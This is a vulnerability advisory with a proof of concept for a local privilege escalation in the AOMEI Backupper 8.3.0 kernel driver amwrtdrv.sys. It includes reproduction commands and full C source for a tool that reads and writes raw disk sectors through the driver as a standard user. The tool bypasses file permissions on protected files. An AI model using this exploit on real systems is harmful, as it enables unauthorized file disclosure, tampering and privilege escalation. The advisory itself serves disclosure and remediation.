AOMEI Backupper 8.3.0 Kernel Driver amwrtdrv.sys Local Privilege Escalation

Summary

AOMEI Backupper 8.3.0 installs and auto-loads the signed kernel driver `amwrtdrv.sys`. The driver exposes a user-reachable raw disk forwarding interface at `\\.\amwrtdrv\Partition0\DISK<N>`.

A standard, non-administrative user can use this interface to send read and write requests to a disk device even when Windows denies the same user direct access to `\\.\PhysicalDrive<N>` and to protected files stored on that disk. In the proof below, the standard user could not read or modify an administrator-only flag file on a temporary VHD, but could read and overwrite that file's NTFS data clusters through the AOMEI driver.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: AOMEI Backupper
- Tested version: 8.3.0
- Installed product path: `C:\Program Files (x86)\AOMEI\AOMEI Backupper\8.3.0\Backupper.exe`
- Driver service: `amwrtdrv`
- Loaded driver path: `C:\Windows\System32\amwrtdrv.sys`
- Loaded driver SHA-256: `2790E94E4E875AE66F7FBFA46B1083782BDC6C3EFBEE6E14190D93DFF367BFF9`

Download URL and SHA-256

- Download URL: `https://www2.aomeisoftware.com/download/adb/full/AOMEIBackupperSetup.exe`
- File name: `AOMEIBackupperSetup.exe`
- Installer SHA-256: `8B85FC372145B37B35E45FEBD4E96E3BD46D611188126DA94059AC3397C9849E`

- Installer version: `8.3.0.0`
- Installer signature: Valid, AOMEI International Network Limited
- Driver signature: Valid, AOMEI International Network Limited

Vulnerability Type

Local privilege escalation / access-control bypass through an unprivileged raw disk read/write primitive exposed by a kernel driver.

Impact

A low-privileged local user can read or modify sectors on disks through `amwrtdrv.sys`. This bypasses Windows access checks that normally prevent standard users from opening raw physical disks or tampering with administrator-only files.

Practical impact includes protected-file disclosure, protected-file tampering, and potential privilege escalation when an attacker modifies security-sensitive files or boot/system data on a writable disk. The validation used a temporary VHD and a controlled administrator-only flag file, not the host system disk.

Test Environment

- OS: Windows, x64 test VM
- Administrator account used only for installation and test-object setup
- Test user: standard user `EXPDEV\low`
- Test user integrity: Medium Integrity
- Test user groups: `BUILTIN\Users`, not `BUILTIN\Administrators`
- Test disk: temporary 64 MB VHD, attached as `\\.\PhysicalDrive1`, drive letter `R:`

Driver Load / Setup Steps

1. Downloaded the official AOMEI Backupper installer.
2. Installed it silently with:

```
AOMEIBackupperSetup.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
```

3. Confirmed `amwrtdrv` was running:

```
SERVICE_NAME: amwrtdrv
TYPE               : 1  KERNEL_DRIVER
```

```
STATE              : 4  RUNNING
BINARY_PATH_NAME   : \??\C:\WINDOWS\system32\amwrtdrv.sys
```

4. Created a temporary VHD, formatted it as NTFS, and assigned drive letter `R:`.
5. Created a protected flag file:

```
$flag = 'R:\protected\admin_only_flag.bin'
Set-Content -Path $flag -Value $marker -Encoding ascii
icacls $flag /inheritance:r /grant:r Administrators:F SYSTEM:F
```

6. Queried the file's NTFS extents and computed the raw disk offset for its data clusters:

```
Bytes Per Cluster: 4096
Partition offset: 65536
LCN: 0x589
Clusters: 0x5
Raw disk offset: 5869568
Read/write length: 20480
```

Reproduction Steps

1. Install Product

```
$installer = 'AOMEIBackupperSetup.exe'
& $installer /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
sc.exe query amwrtdrv
sc.exe qc amwrtdrv
```

2. Create Controlled Test Disk

```
$work = 'C:\ProgramData\VendorRepro\aomei_rawdisk'
New-Item -ItemType Directory -Force $work | Out-Null

@"
create vdisk file="$work\controlled_disk.vhd" maximum=64 type=expandable
select vdisk file="$work\controlled_disk.vhd"
attach vdisk
create partition primary
format fs=ntfs quick label=VendorRepro
assign letter=R
```

```
exit
"@ | Set-Content -Encoding ascii "$work\create_vhd.diskpart"

diskpart /s "$work\create_vhd.diskpart"
Get-Disk
Get-Partition -DiskNumber 1
```

3. Create Protected Flag File

```
$marker = 'AOMEI-RAWDISK-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$flag = 'R:\protected\admin_only_flag.bin'
New-Item -ItemType Directory -Force (Split-Path $flag) | Out-Null
(($marker + "`r`n") * 256) | Set-Content -Path $flag -Encoding ascii
icacls $flag /inheritance:r /grant:r Administrators:F SYSTEM:F
```

Query the file's disk location:

```
fsutil fsinfo ntfsinfo R:
fsutil file queryextents R:\protected\admin_only_flag.bin
```

In the validated run:

```
Partition offset: 65536
Bytes per cluster: 4096
LCN: 0x589
Clusters: 0x5
Raw disk offset: 5869568
Length: 20480
```

4. Baseline as Standard User

Run as a standard user:

```
Get-Content -Raw R:\protected\admin_only_flag.bin -ErrorAction Stop
Set-Content -Path R:\protected\admin_only_flag.bin -Value SHOULD-NOT-WRITE -ErrorAction Stop
[System.IO.File]::Open('\\.\PhysicalDrive1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite)
```

Expected results:

```
Access to the path 'R:\protected\admin_only_flag.bin' is denied.
Access to the path '\\.\PhysicalDrive1' is denied.
```

5. Read Protected Data Through Driver

Run as the same standard user:

```
aomei_raw_disk_forwarder_poc.exe --device \\.\amwrtdrv\Partition0\DISK1 --read --offset 5869568 --length 20480
--out C:\ProgramData\VendorRepro\aomei_rawdisk\driver_raw_read.bin
```

Expected result:

```
read 20480 bytes from raw disk path into C:\ProgramData\VendorRepro\aomei_rawdisk\driver_raw_read.bin
```

The output should contain the `AOMEI-RAWDISK-PROTECTED-FLAG-...` marker.

6. Write Protected Data Through Driver

Create a payload exactly as large as the allocated extent range:

```
$writeMarker = 'AOMEI-RAWDISK-WRITE-FLAG-' + [guid]::NewGuid().ToString()
$payload = (($writeMarker + "`r`n") * 512)
$bytes = [Text.Encoding]::ASCII.GetBytes($payload)
$full = New-Object byte[] 20480
[Array]::Copy($bytes, $full, [Math]::Min($bytes.Length, $full.Length))
[IO.File]::WriteAllBytes('C:\ProgramData\VendorRepro\aomei_rawdisk\raw_write_payload.bin', $full)
```

Flush and dismount the VHD volume before raw writing:

```
fsutil volume dismount R:
```

Run as the standard user:

```
aomei_raw_disk_forwarder_poc.exe --device \\.\amwrtdrv\Partition0\DISK1 --write --offset 5869568 --in
C:\ProgramData\VendorRepro\aomei_rawdisk\raw_write_payload.bin --dangerous-write
```

Expected result:

```
wrote 20480 bytes to raw disk path
```

After remounting the VHD, an administrator read of the flag file should contain the `AOMEI-RAWDISK-WRITE-FLAG-...` marker.

7. Cleanup

```
fsutil volume dismount R:


@"
select vdisk file="C:\ProgramData\VendorRepro\aomei_rawdisk\controlled_disk.vhd"
detach vdisk
exit
"@ | Set-Content -Encoding ascii C:\ProgramData\VendorRepro\aomei_rawdisk\detach_vhd.diskpart

diskpart /s C:\ProgramData\VendorRepro\aomei_rawdisk\detach_vhd.diskpart
Remove-Item C:\ProgramData\VendorRepro -Recurse -Force
```

Uninstall AOMEI Backupper after testing:

```
& 'C:\Program Files (x86)\AOMEI\AOMEI Backupper\8.3.0\unins000.exe' /VERYSILENT /SUPPRESSMSGBOXES
/NORESTART
```

Why This Proves the Vulnerability

The test user is a standard user at Medium Integrity. Windows correctly denies that user direct access to the protected flag file and to the raw physical disk. The same user can nevertheless read and write the protected file's backing disk clusters by opening `\\.\amwrtdrv\Partition0\DISK1`.

This proves that `amwrtdrv.sys` exposes privileged raw disk functionality to low-privileged callers without enforcing the expected Windows access checks.

Suggested Remediation

- Restrict the driver device object ACL so standard users cannot open the raw disk forwarding interface.
- Set `FILE_DEVICE_SECURE_OPEN` on the device object.
- Require an administrative privilege check before attaching to disk devices or forwarding read/write/IOCTL requests.
- Avoid forwarding user-controlled read/write requests to disk device objects from kernel mode. If this functionality must exist, broker it through a privileged service that validates caller authorization and target disk policy.
- Add regression tests that verify standard users cannot open `\\.\amwrtdrv\Partition0\DISK<N>` or forward raw disk I/O.

POC

```
// AOMEI raw-disk forwarder proof-of-impact.
// Supported device families include \\.\wowrt, \\.\ddmwrt, and \\.\amwrtdrv.
// This program is intentionally inert unless --read or --write is selected.
// Destructive writes require --dangerous-write.

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <wchar.h>

static void usage(void) {
    fwprintf(stderr,
        L"usage:\n"
        L"  aomei_raw_disk_forwarder_poc.exe --device <path> --read --offset <n> --length <n> --out <file>\n"
        L"  aomei_raw_disk_forwarder_poc.exe --device <path> --write --offset <n> --in <file> --dangerous-write\n"
        L"\nexamples:\n"
        L"  --device \\\\.\\wowrt\\Partition0\\DISK0\n"
        L"  --device \\\\.\\ddmwrt\\Partition0\\DISK0\n"
        L"  --device \\\\.\\amwrtdrv\\Partition0\\DISK0\n");
}

static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i + 1 < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return argv[i + 1];
    }
    return NULL;
}

static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i < argc; ++i) {
        if (wcscmp(argv[i], name) == 0) return 1;
    }
    return 0;
}
```

```
static uint64_t parse_u64(const wchar_t *s) {
    return s ? _wcstoui64(s, NULL, 0) : 0;
}

static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
    HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    LARGE_INTEGER sz;
    DWORD got = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
        CloseHandle(f);
        return 0;
    }
    *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
    *len = (DWORD)sz.QuadPart;
    if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
    HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD wrote = 0;
    if (f == INVALID_HANDLE_VALUE) return 0;
    if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
        CloseHandle(f);
        return 0;
    }
    CloseHandle(f);
    return 1;
}

int wmain(int argc, wchar_t **argv) {
    const wchar_t *device = arg_value(argc, argv, L"--device");
    uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
    int do_read = has_arg(argc, argv, L"--read");
```

```
int do_write = has_arg(argc, argv, L"--write");

if (!device || do_read == do_write) {
    usage();
    return 2;
}

HANDLE h = CreateFileW(device, GENERIC_READ | GENERIC_WRITE,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) {
    wprintf(L"CreateFileW(%ls) failed: %lu\n", device, GetLastError());
    return 1;
}

LARGE_INTEGER li;
li.QuadPart = (LONGLONG)offset;
if (!SetFilePointerEx(h, li, NULL, FILE_BEGIN)) {
    wprintf(L"SetFilePointerEx failed: %lu\n", GetLastError());
    CloseHandle(h);
    return 1;
}

if (do_read) {
    const wchar_t *out = arg_value(argc, argv, L"--out");
    DWORD len = (DWORD)parse_u64(arg_value(argc, argv, L"--length"));
    if (!out || len == 0 || len > 0x1000000) {
        usage();
        CloseHandle(h);
        return 2;
    }
    BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, len);
    DWORD got = 0;
    if (!buf) return 1;
    if (!ReadFile(h, buf, len, &got, NULL)) {
        wprintf(L"ReadFile via vulnerable forwarder failed: %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, buf);
        CloseHandle(h);
        return 1;
    }
```

```
        DWORD out_len = got;
        if (out_len > len) {
            wprintf(L"driver reported %lu bytes for a %lu-byte read; clamping saved output to requested length\n",
got, len);
            out_len = len;
        }
        if (!write_file_all(out, buf, out_len)) {
            wprintf(L"writing output file failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        wprintf(L"read request completed; driver_reported=%lu saved=%lu into %ls\n", got, out_len, out);
        HeapFree(GetProcessHeap(), 0, buf);
    } else {
        const wchar_t *in = arg_value(argc, argv, L"--in");
        if (!has_arg(argc, argv, L"--dangerous-write") || !in) {
            fwprintf(stderr, L"write mode requires --in <file> and --dangerous-write\n");
            CloseHandle(h);
            return 2;
        }
        BYTE *buf = NULL;
        DWORD len = 0, wrote = 0;
        if (!read_file_all(in, &buf, &len)) {
            wprintf(L"reading payload failed: %lu\n", GetLastError());
            CloseHandle(h);
            return 1;
        }
        if (!WriteFile(h, buf, len, &wrote, NULL)) {
            wprintf(L"WriteFile via vulnerable forwarder failed: %lu\n", GetLastError());
            HeapFree(GetProcessHeap(), 0, buf);
            CloseHandle(h);
            return 1;
        }
        if (wrote > len) {
            wprintf(L"driver reported %lu bytes for a %lu-byte write; requested buffer length was used\n", wrote,
len);
        }
        wprintf(L"write request completed; driver_reported=%lu requested=%lu\n", wrote, len);
        HeapFree(GetProcessHeap(), 0, buf);
```

```
    }

    CloseHandle(h);
    return 0;
}
```

Revision #2
Created 20 May 2026 15:30:47 by winslow
Updated 20 May 2026 16:14:12 by winslow